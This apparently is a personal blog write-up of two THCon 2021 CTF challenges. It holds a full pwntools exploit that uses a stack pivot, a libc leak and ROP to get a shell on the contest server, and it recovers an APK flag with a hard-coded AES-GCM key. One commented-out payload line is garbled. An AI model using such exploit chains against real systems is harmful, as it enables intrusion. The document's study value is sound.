home..
2021 thcctf write-up
2021/06/14 10:41 PM Author : Ainsetin
Tasks
- Pwnđź’»
- Tourniquet (249pts)
- Rev🔎
- Mission Impossible (246pts)
Tourniquet (Pwn, 249pts)
This is stack pivot problem without overwriting RET. First, our team planned to input more than 0x48
bytes to overwrite RET.
But, it has a constraint:
fgets(size, buf, stdin)
set arguments from stdin to size.. so I can’t call containingstdin
.- Should bruteforce(1/16) to get correct stack pointer.
- Must do
stack pivot
until I find a writable memory after leakinglibc
.
So, I just DO STACK PIVOT 3 times, and find ONE 8byte memory.
The following process is my idea to get shell..
- Overwrite one byte of SFP to
\x00
using fgets() function’s\n + \x00
. - Bruteforce correct position of RBP. and ROP with puts to get libc.
- stack pivot to main(mov rbp, rsp) twice (my solution in competition).(※ To go
__start
is another solution to get many memories that I can use for next ROP.) - find one_gadget with
strings
andobjdump
command becausegem one_gadget
could’t get shell on remote. - Get Shell.
Here is my payload.
from pwn import *
context.log_level='debug'
#context.terminal=['tmux','splitw','-h']
e=ELF("./tourniquet")
libc=ELF("./libc.so.6")
#libc=e.libc
pRdi=0x00000000004006d3
pRsi_r15=0x00000000004006d1
main=e.sym['main']
puts_got=e.got['puts']
puts_plt=e.plt['puts']
setvbuf_got=e.got['setvbuf']
rdx_offset=0x0000000000001b92
pppr=0x00000000004006cc
bss=0x601100
fgets=e.plt['fgets']
pay=p64(0x601100+0x40)+p64(pRdi)+p64(setvbuf_got)+p64(puts_plt)+p64(0x400627)+p64(0x601100+0x40)+p64(0x400627)+"\x00"*7
while True:
try:
p=remote("remote2.thcon.party", 10901)
#p=process("./tourniquet")
p.sendlineafter("haha i'm unhackable right ?\n",pay)
leak=p.recvuntil("\x7f",timeout=1).ljust(8,'\x00')
if '\x7f' not in leak:
p.close()
continue
base=u64(leak)-libc.sym['setvbuf']
rdx=base+rdx_offset
stdin=base+libc.sym['_IO_2_1_stdin_']
one_gadget=base+0xe5418
print hex(base)
break
#pay=p64(0x4004c6)*2+p64(07+............x00000000004004c6)+p64(pRdi)+p64(setvbuf_got)+p64(puts_plt)+p64(main)+"A"*7
except:
p.close()
continue
pause()
p.recv()
p.sendline("1234")
pay=p64(0)*5+p64(0x1234)+p64(one_gadget)
pay=pay.ljust(0x3f,'\x00')
p.recv()
p.sendline(pay)
p.interactive()
Mission Impossible (Rev, 246pts)
- extract apk and convert dex to jar using dex2jar tools.
- There’s nothing ….:(
- find hidden
dex
files in `MissionImpossibleTheme.mp3. - Get this Code with jd-gui.
package thcon21.ctf.payload;
import android.util.Base64;
import java.io.UnsupportedEncodingException;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public class MIRead
{
private static final String CIPHER_ALGO = "AES/GCM/NoPadding";
private static final String IV = "your_m1ssi0n";
private static final String KEY = "d0_you_acc3pt_it";
private Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
private GCMParameterSpec parameterSpec = new GCMParameterSpec(128, "your_m1ssi0n".getBytes("utf-8"));
private SecretKeySpec secretKeySpec = new SecretKeySpec("d0_you_acc3pt_it".getBytes("utf-8"), "AES");
public MIRead()
throws NoSuchPaddingException, NoSuchAlgorithmException, UnsupportedEncodingException
{}
public String decrypt(String paramString)
throws UnsupportedEncodingException, BadPaddingException, IllegalBlockSizeException, InvalidAlgorithmParameterException, InvalidKeyException
{
paramString = Base64.decode(paramString.getBytes("UTF-8"), 0);
this.cipher.init(2, this.secretKeySpec, this.parameterSpec);
return new String(this.cipher.doFinal(paramString));
}
public String encrypt(String paramString)
throws UnsupportedEncodingException, BadPaddingException, IllegalBlockSizeException, InvalidAlgorithmParameterException, InvalidKeyException
{
this.cipher.init(1, this.secretKeySpec, this.parameterSpec);
return new String(Base64.encode(this.cipher.doFinal(paramString.getBytes("utf-8")), 0));
}
}
public static void main(String[] paramArrayOfString)
{
testFlag();
paramArrayOfString = paramArrayOfString[0];
while (0 != 0) {}
Object localObject = new StringBuilder();
((StringBuilder)localObject).append("IkUegPuai+gfBce7nTf");
if ("IkUegPuai+gfBce7nTf" != "VEhDb24yMQo=")
{
((StringBuilder)localObject).append("CkMZzZSwne3X3mnyrc5oBcD2yGHUXy");
}
else
{
((StringBuilder)localObject).append("MissionImpossible");
return;
}
((StringBuilder)localObject).append("MMcjCaXX2AAY20H");
localObject = ((StringBuilder)localObject).toString();
if (paramArrayOfString.equals("MissionImpossible")) {
System.out.println((String)localObject);
}
}
The secret code is IkUegPuai+gfBce7nTfCkMZzZSwne3X3mnyrc5oBcD2yGHUXyMMcjCaXX2AAY20H
.
Then, how to decrypt?
→ this file uses AES/GCM/NoPadding
Mode. So I find python code in google. So I modified code and get flag.
from Crypto.Cipher import AES
import base64
def print_hex_bytes(name, byte_array):
print('{} len[{}]: '.format(name, len(byte_array)), end='')
for idx, c in enumerate(byte_array):
print("{:02x}".format(int(c)), end='')
print("")
def dec(key, aad, nonce, cipher_data, mac):
print('\nenter dec function ---------------------------------')
cipher = AES.new(key, AES.MODE_GCM, nonce)
try:
plain_data = cipher.decrypt(cipher_data)
print_hex_bytes('plain_data', plain_data)
print('exit dec function ---------------------------------')
return plain_data
except ValueError:
print ("Key incorrect")
print('exit dec function ---------------------------------')
return None
if __name__ == "__main__":
key = b"d0_you_acc3pt_it"
aad = bytes([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0A,0x0B,0x0C,0x0D,0x0E]) #
nonce = b"your_m1ssi0n"
cipher_data = base64.b64decode(b"IkUegPuai+gfBce7nTfCkMZzZSwne3X3mnyrc5oBcD2yGHUXyMMcjCaXX2AAY20H")
mac = bytes([0xb3, 0x5e, 0x5b, 0x00, 0xe4, 0x11, 0x54, 0x39, 0xa3, 0xf8, 0xf9, 0xfb, 0xa3, 0x75, 0xd5, 0xe8])
print_hex_bytes('key', key)
print_hex_bytes('aad', aad)
print_hex_bytes('nonce', nonce)
print_hex_bytes('cipher data', cipher_data)
print_hex_bytes('mac', mac)
result = dec(key, aad, nonce, cipher_data, mac)
if result is not None:
print('\nDecrypted value:')
print_hex_bytes('\tresult(plain data)', result)
/mnt/d/CTF_List/2021/thcctf/rev/mission_impossible master* ⇣ ❯ python3 ex.py
key len[16]: 64305f796f755f6163633370745f6974
aad len[14]: 0102030405060708090a0b0c0d0e
nonce len[12]: 796f75725f6d31737369306e
cipher data len[48]: 22451e80fb9a8be81f05c7bb9d37c290c673652c277b75f79a7cab739a01703db2187517c8c31c8c26975f6000636d07
mac len[16]: b35e5b00e4115439a3f8f9fba375d5e8
enter dec function ---------------------------------
plain_data len[48]: 5448436f6e32317b546831732d5761732d506f737331626c652d466f722d557d8c0cda62bc921356ee356da0fe457d63
exit dec function ---------------------------------
Decrypted value:
result(plain data) len[48]: 5448436f6e32317b546831732d5761732d506f737331626c652d466f722d557d8c0cda62bc921356ee356da0fe457d63
/mnt/d/CTF_List/2021/thcctf/rev/mission_impossible master* ⇣ ❯ python3
Python 3.8.5 (default, Jul 28 2020, 12:59:40)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> bytes.fromhex("5448436f6e32317b546831732d5761732d506f737331626c652d466f722d557d8c0cda62bc921356ee356da0fe457d63")
b'THCon21{Th1s-Was-Poss1ble-For-U}\x8c\x0c\xdab\xbc\x92\x13V\xee5m\xa0\xfeE}c'